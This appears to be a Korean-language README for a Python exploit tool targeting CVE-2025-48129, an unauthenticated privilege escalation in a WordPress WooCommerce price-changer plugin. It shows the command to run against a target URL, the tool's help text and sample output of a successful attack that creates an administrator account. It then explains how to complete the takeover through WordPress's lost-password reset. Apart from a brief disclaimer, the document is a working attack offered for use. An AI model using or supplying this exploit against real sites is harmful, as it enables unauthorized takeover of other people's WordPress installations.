
WordPress Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light Plugin <= 2.4.37은 권한 상승(Privilege Escalation)에 취약합니다.
<= 2.4.37CVE-2025-481299.8 (치명적)인증되지 않은 공격자가 사전 접근 권한 없이 관리자(Administrator) 수준 계정을 생성하여 권한을 상승시킬 수 있습니다. 이를 통해 WordPress 사이트를 완전히 장악할 수 있습니다.
분류 기준: OWASP A7 – 식별 및 인증 실패
이 Python 스크립트는 취약한 버전의 플러그인을 대상으로 하며, 이메일과 비밀번호(MD5로 해시됨)만 사용하여 새로운 WordPress 관리자를 등록합니다.
python CVE-2025-48129.py -u http://target-site.com/wordpress -mail [email protected] -p nxploitadmin
python CVE-2025-48129.py -help
usage: CVE-2025-48129.py [-h] -u URL -mail MAIL [-p PASSWORD]
CVE-2025-48129 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g., http://site.com/)
-mail, --mail MAIL Email for the new Admin account
-p, --password PASSWORD Password to set (default: nxploitadmin)
[*] Checking plugin version...
[*] Plugin version: 2.4.37
[*] Vulnerable version detected. Exploiting...
[+] Exploitation successful!
[*] Login credentials:
Username: [email protected]
Password: 21232f297a57a5a743894a0e4a801fc3
[*] If login fails, reset the password manually via:
http://target-site.com/wordpress/wp-login.php?action=lostpassword
경우에 따라 선택한 비밀번호로 직접 로그인하지 못할 수 있습니다.
이는 익스플로잇의 버그가 아니라, 취약한 플러그인이 해시된 비밀번호를 WordPress의 내부 사용자 생성 시스템에 전달하는 방식 때문에 발생합니다.
로그인할 수 없는 경우, 다음 URL을 사용하여 이메일로 비밀번호를 재설정하세요:
http://target-site.com/wordpress/wp-login.php?action=lostpassword
WordPress는 방금 생성한 관리자 계정으로 비밀번호 재설정 이메일을 보내며, 이를 통해 전체 액세스 권한을 얻을 수 있습니다.
이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.
저자는 이 스크립트의 오용 또는 이로 인한 손해에 대해 책임을 지지 않습니다.
제작자: Nxploited ( Khaled_alenazi )